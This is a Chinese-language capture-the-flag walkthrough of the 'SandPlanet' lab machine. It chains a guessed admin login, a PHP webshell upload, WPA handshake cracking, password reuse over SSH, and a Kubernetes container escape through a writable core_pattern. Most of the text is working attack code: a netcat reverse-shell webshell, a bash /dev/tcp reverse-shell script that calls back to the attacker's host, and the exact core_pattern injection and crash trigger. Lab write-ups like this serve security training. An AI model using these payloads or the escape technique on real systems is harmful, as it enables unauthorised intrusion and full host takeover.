SandPlanet 靶机：从 Webshell 到 Kubernetes 容器逃逸

靶机信息

靶机名称： SandPlanet
靶机作者：kaada
靶机类型：Linux
来源：MazeSec/QQ内部群 660930334
官网：https://maze-sec.com/

一、信息收集

1. 端口扫描

对目标主机进行全端口扫描，使用 `-sS` 进行 TCP SYN 半开放扫描以提高速度并减少日志记录。

> -p- : 扫描所有端口
> -sS : TCP SYN 扫描
> -n : 不进行 DNS 解析，加快扫描速度

```
┌──(npc㉿kali)-[~]
└─$ nmap 192.168.1.18 -p- -sS -n

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6443/tcp  open  sun-sr-https
10250/tcp open  unknown
30080/tcp open  unknown
```

2. Web 目录枚举

针对 80 端口进行目录探测，发现关键目录 `uploads` 和 `user.txt`。

```
┌──(npc㉿kali)-[~]
└─$ gobuster dir -u http://192.168.1.18 -w medium.txt -x txt,php,html,zip,bak
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.18
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,php,html,zip,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 4894]
/user.txt             (Status: 200) [Size: 108]
/uploads              (Status: 301) [Size: 314] [--> http://192.168.1.18/uploads/]
Progress: 47256 / 1323354 (3.57%)^C
```

访问 `user.txt` 获取 flag 或提示信息：

```
┌──(npc㉿kali)-[~]
└─$ curl http://192.168.1.18/user.txt
c8e7606132067715690623671561730 9
なら林檎の木を植えよう
So, let's plant an apple tree right here
```

二、Web 渗透与初始访问

1. 登录后台

首页存在登录框。经过常规的 SQL 注入和 BurpSuite 爆破（admin账户）测试无果后，转换思路。结合首页主题高亮关键词及靶机名称 "sandplanet"，尝试“默认语境口令”组合。

> 主题强化 + 登录入口 = 默认语境口令候选

- **用户**：admin
- **密码**：sandplanet

尝试登录成功，进入后台管理界面。

2. 获取 Webshell

登录后发现文件上传功能，测试发现未对 PHP 文件做严格过滤。上传包含反弹 Shell 代码的 PHP 文件。

Webshell Payload:

```
<?php system('busybox nc 192.168.1.10 4444 -e bash'); ?>
```

Kali 开启监听并触发上传的文件，成功获得 `www-data` 权限。

```
nc -lvnp 4444
```

三、内网横向移动

1. 发现跳板机

在获取的 Shell 中检查环境变量（`env`），发现存在名为 `PIVOT` 的服务相关信息。尝试连接该跳板机服务的端口（2323），无需认证直接获得了跳板机的 root 权限。

```
www-data@web-deployment-759dbc577f-bv27j:/var/www/html/uploads$ env
SHELL=/bin/bash
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=web-deployment-759dbc577f-bv27j
PHP_VERSION=7.4.33
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
WEB_SVC_SERVICE_HOST=10.43.226.219
WEB_SVC_PORT_80_TCP=tcp://10.43.226.219:80
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/var/www/html/uploads
WEB_SVC_PORT=tcp://10.43.226.219:80
PIVOT_SVC_PORT_2323_TCP_PORT=2323
PIVOT_SVC_PORT_2323_TCP_PROTO=tcp
APACHE_LOG_DIR=/var/log/apache2
PIVOT_SVC_SERVICE_HOST=10.43.159.150
LANG=C
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
PIVOT_SVC_PORT_2323_TCP_ADDR=10.43.159.150
PIVOT_SVC_PORT=tcp://10.43.159.150:2323
WEB_SVC_PORT_80_TCP_PORT=80
WEB_SVC_PORT_80_TCP_ADDR=10.43.226.219
PHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev
re2c
PIVOT_SVC_PORT_2323_TCP=tcp://10.43.159.150:2323
TERM=xterm
PHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xz
```

```
# 连接内网跳板服务
nc -nv $PIVOT_SVC_SERVICE_HOST $PIVOT_SVC_SERVICE_PORT
```

```
www-data@web-deployment-759dbc577f-bv27j:/var/www/html/uploads$ nc -nv $PIVOT_SVC_SERVICE_HOST $PIVOT_SVC_SERVICE_PORT
(UNKNOWN) [10.43.159.150] 2323 (?) open
TERM environment variable not set.
=======================================================
|      SAND PLANET - SECURE PIVOT TERMINAL v2.0       |
=======================================================
[*] System Status: ONLINE
[*] User Identity: ROOT (Privileged)
[*] Detecting Wireless Interfaces...
    -> wlan1  [MAC: 22:31:63:fa:d5:b9]  [Status: READY]
    -> wlan0  [MAC: f6:f7:08:a0:3b:a0]  [Status: READY]
[+] Network Hardware Initialized.

root@pivot-deployment-79c65d8699-b92cs:~#
```

2. 流量分析与密码破解

在跳板机的家目录 `/root` 下发现 `target_handshake.cap` 流量包。使用 `aircrack-ng` 分析，确认其中包含 WPA 握手包。

> Aircrack-ng 能够通过分析捕获的四次握手包来尝试恢复 WPA/WPA2 密码。

```
┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# aircrack-ng /root/target_handshake.cap
Reading packets, please wait...
Opening /root/target_handshake.cap
Read 474 packets.

   #  BSSID              ESSID                     Encryption

   1  16:86:25:BF:29:F7  SandPlanet_Core           WPA (1 handshake)
   2  8E:74:53:E4:DC:F8  SandPlanet_Core           Unknown

Index number of target network ?
```

```
┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# ls -alh
total 88K
drwx------ 1 root root 4.0K Feb 12 12:39 .
drwxr-xr-x 1 root root 4.0K Feb 12 12:39 ..
-rw-r--r-- 1 root root 6.3K Feb 12 12:39 .bashrc
-rw-r--r-- 1 root root  607 Feb  8 04:02 .bashrc.original
drwx------ 3 root root 4.0K Feb 12 12:39 .cache
drwx------ 2 root root 4.0K Feb 12 12:39 .config
-rw-r--r-- 1 root root  132 Jan 20 07:11 .profile
drwx------ 2 root root 4.0K Feb 11 05:33 .ssh
-rw-r--r-- 1 root root  11K Feb  8 04:02 .zshrc
-rw-r--r-- 1 root root  584 Feb 11 05:30 replayer.py
-rwxr-xr-x 1 root root 2.4K Feb 11 05:30 setup_challenge.sh
-rw-r--r-- 1 root root  25K Feb 11 05:25 target_handshake.cap

┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# aircrack-ng /root/target_handshake.cap
Reading packets, please wait...
Opening /root/target_handshake.cap
Read 474 packets.

   #  BSSID              ESSID                     Encryption

   1  16:86:25:BF:29:F7  SandPlanet_Core           WPA (1 handshake)
   2  8E:74:53:E4:DC:F8  SandPlanet_Core           Unknown

Index number of target network ?
```

使用 Kali 的 `rockyou.txt` 字典（取前 5000 行）进行爆破，成功解出密码：`princess`。

```
aircrack-ng -w pass.txt /root/target_handshake.cap
```

```
                    Aircrack-ng 1.7

      [00:00:01] 4578/5000 keys tested (5898.89 k/s)

      Time left: 0 seconds                                      91.56%

                        KEY FOUND! [ princess ]


      Master Key     : A3 23 17 AD DD 5C DF 20 D0 F5 41 13 E7 FE BC C2
                       11 48 89 B1 C7 61 E8 50 AF AF DE E2 34 38 76 59

      Transient Key  : AD 19 07 FA 41 36 F4 7B 32 CC 6A 7F 3F CE 02 2B
                       E0 7B 5D A4 63 7E 70 36 EA 15 F7 ED 63 4D B7 A0
                       D4 83 38 F4 48 C1 31 70 23 67 C2 29 12 DE BA 67
                       B7 A1 DA 39 18 B9 2E 93 CD 4D D5 42 1B 30 06 0B

      EAPOL HMAC     : 57 57 C1 BE DC 47 8E BA 25 7B 2F CD 85 F4 12 FB


┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─#
```

3. 内网主机探测

利用获取的密码尝试复用攻击。首先探测跳板机所在的网段（10.42.0.171/24）。

> Tips: 使用 xargs 并行处理 ping 命令以加快扫描速度。
>
> - `xargs -P 50`：并行执行 50 个进程
> - `ping -c1 -W1`：发送 1 个包，超时 1 秒

```
seq 1 254 | xargs -P 50 -I {} bash -c '
    ping -c1 -W1 10.42.0.{} >/dev/null 2>&1 && echo "10.42.0.{} is up"
'
```

扫描结果发现多台存活主机（171, 172, 173, 174）。

```
10.42.0.1 is up
10.42.0.171 is up
10.42.0.172 is up
10.42.0.174 is up
10.42.0.173 is up
```

```
┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# seq 1 254 | xargs -P 50 -I {} bash -c '
    ping -c1 -W1 10.42.0.{} >/dev/null 2>&1 && echo "10.42.0.{} is up"
'
10.42.0.1 is up
10.42.0.171 is up
10.42.0.172 is up
10.42.0.173 is up
10.42.0.174 is up
```

4. SSH登录目标

针对存活主机扫描 22 端口，发现 `10.42.0.173` 开放 SSH。
使用密码 `princess` 尝试登录，成功进入目标主机。

```
for ip in 10.42.0.172 10.42.0.173 10.42.0.174; do
    timeout 1 bash -c "echo >/dev/tcp/$ip/22" 2>/dev/null && echo "  [+] $ip:22 SSH
open"
done
```

```
┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# for ip in 10.42.0.172 10.42.0.173 10.42.0.174; do
    timeout 1 bash -c "echo >/dev/tcp/$ip/22" 2>/dev/null && echo "  [+] $ip:22 SSH open"
done
  [+] 10.42.0.173:22 SSH open

┌──(root㉿pivot-deployment-79c65d8699-b92cs)-[~]
└─# ssh root@10.42.0.173
The authenticity of host '10.42.0.173 (10.42.0.173)' can't be established.
ED25519 key fingerprint is: SHA256:HW+0cRw88Lxt6s+hNA5ngVET6QkggOSGOJBC0eWrTws
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.42.0.173' (ED25519) to the list of known hosts.
root@10.42.0.173's password:
Linux target-deployment-6c9b47576f-l7p5r 6.12.63+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.63-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@target-deployment-6c9b47576f-l7p5r:~#
```

四、容器逃逸

当前环境位于一个 Kubernetes 的 Pod 或 Docker 容器内。我们需要寻找逃逸路径以获取宿主机权限。

1. 获取 OverlayFS 挂载信息

检查挂载信息，发现 `/proc` 目录被挂载并且在容器内可写。

```
root@target-deployment-6c9b47576f-l7p5r:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/757/fs:/var/lib/ranc
her/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/756/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlay
fs/snapshots/755/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/754/fs:/var/lib/rancher/k3s/agent/containerd/io.
containerd.snapshotter.v1.overlayfs/snapshots/753/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/752/fs:/var/lib
/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/751/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.ov
erlayfs/snapshots/750/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/712/fs,upperdir=/var/lib/rancher/k3s/agent/
containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1709/fs,workdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/sn
apshots/1709/work,uuid=on)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /mnt/k8s_config type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,relatime,size=65536k,inode64)
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=2020960k,inode64,noswap)
root@target-deployment-6c9b47576f-l7p5r:~# mount | grep proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
root@target-deployment-6c9b47576f-l7p5r:~#
```

进一步检查 `/proc/sys/kernel/core_pattern`，确认为可写状态：

```
root@target-deployment-6c9b47576f-l7p5r:~# ls -la /proc/sys/kernel/core_pattern
-rw-r--r-- 1 root root 0 Feb 12 15:03 /proc/sys/kernel/core_pattern
```

解读检查挂载点信息 Overlay：

- 底层：镜像层（Lowerdir，只读）
- 上层：容器层（Upperdir，可写）
- 结合：Overlay 文件系统将两者结合，呈现给容器一个统一的文件系统视图

```
root@target-deployment-6c9b47576f-l7p5r:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/757/fs:/var/lib/ranc
her/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/756/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlay
fs/snapshots/755/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/754/fs:/var/lib/rancher/k3s/agent/containerd/io.
containerd.snapshotter.v1.overlayfs/snapshots/753/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/752/fs:/var/lib
/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/751/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.ov
erlayfs/snapshots/750/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/712/fs,upperdir=/var/lib/rancher/k3s/agent/
containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1709/fs,workdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/sn
apshots/1709/work,uuid=on)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /mnt/k8s_config type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,relatime,size=65536k,inode64)
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=2020960k,inode64,noswap)
root@target-deployment-6c9b47576f-l7p5r:~#
```

通过 `mount` 命令查看到具体的路径：

```
overlay on / type overlay (rw,relatime,
# 底层：只读镜像层
lowerdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/757/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/756/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/755/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/754/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/753/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/752/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/751/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/750/fs:/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/712/fs
# 上层：当前容器的可写层
upperdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1709/fs,
# 工作目录
workdir=/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1709/work
```

这意味着：**我们在容器内对文件的写入 (例如 `/tmp/111`)，实际上是经由 OverlayFS 写入到了宿主机的这个 `upperdir` 绝对路径下 (例如 `/var/lib/.../snapshots/1709/fs/tmp/111`)。**

2. Core Pattern 劫持原理与实施

利用条件达成：

1. **Core Pattern 可写**：该文件定义了当程序崩溃（Coredump）时系统要执行的操作。如果首字符是 `|`，内核会将崩溃信息管道传输给后面的程序（以宿主机 Root 权限）执行。
2. **路径已知**：我们通过 OverlayFS 信息获取了容器内文件在宿主机的绝对路径。

攻击思路：
修改 `core_pattern`，使其指向我们在容器内创建的一个恶意脚本（但使用宿主机的绝对路径）。当人为触发一个程序崩溃时，宿主机内核就会以 ROOT 权限执行这个脚本。

步骤一：创建反弹 Shell 脚本
在容器 `/tmp` 目录下创建 payload。

```
cat > /tmp/.exp << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/9999 0>&1
EOF
chmod +x /tmp/.exp
```

实际写入路径： `$UPPER_DIR/tmp/.exp`

步骤二：提取宿主机路径并注入 Core Pattern

自动提取 `upperdir` 绝对路径，并将 `core_pattern` 指向反弹 shell 脚本。

```
UPPER_DIR=$(mount | grep overlay | head -1 | sed -n 's/.*upperdir=\([^,]*\).*/\1/p')
echo $UPPER_DIR
echo "|$UPPER_DIR/tmp/.exp" > /proc/sys/kernel/core_pattern
```

步骤三：触发崩溃

Kali 开启监听 9999 端口。在容器内运行一个后台进程并发送 `SIGSEGV` 信号使其崩溃。

```
sleep 5 & kill -SEGV %1
```

利用成功，捕获到宿主机 Root Shell，完成逃逸。

```
root@target-deployment-6c9b47576f-l7p5r:~# cat > /tmp/.exp << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/9999 0>&1
EOF
chmod +x /tmp/.exp
root@target-deployment-6c9b47576f-l7p5r:~# UPPER_DIR=$(mount | grep overlay | head -1 | sed -n 's/.*upperdir=\([^,]*\).*/\1/p')
echo $UPPER_DIR
/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1709/fs
root@target-deployment-6c9b47576f-l7p5r:~# sleep 5 & kill -SEGV %1
[1] 39737
root@target-deployment-6c9b47576f-l7p5r:~#
```

```
┌──(npc㉿kali)-[~]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.18] 43746
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@sandplanet:/# hostname
hostname
sandplanet
root@sandplanet:/#
```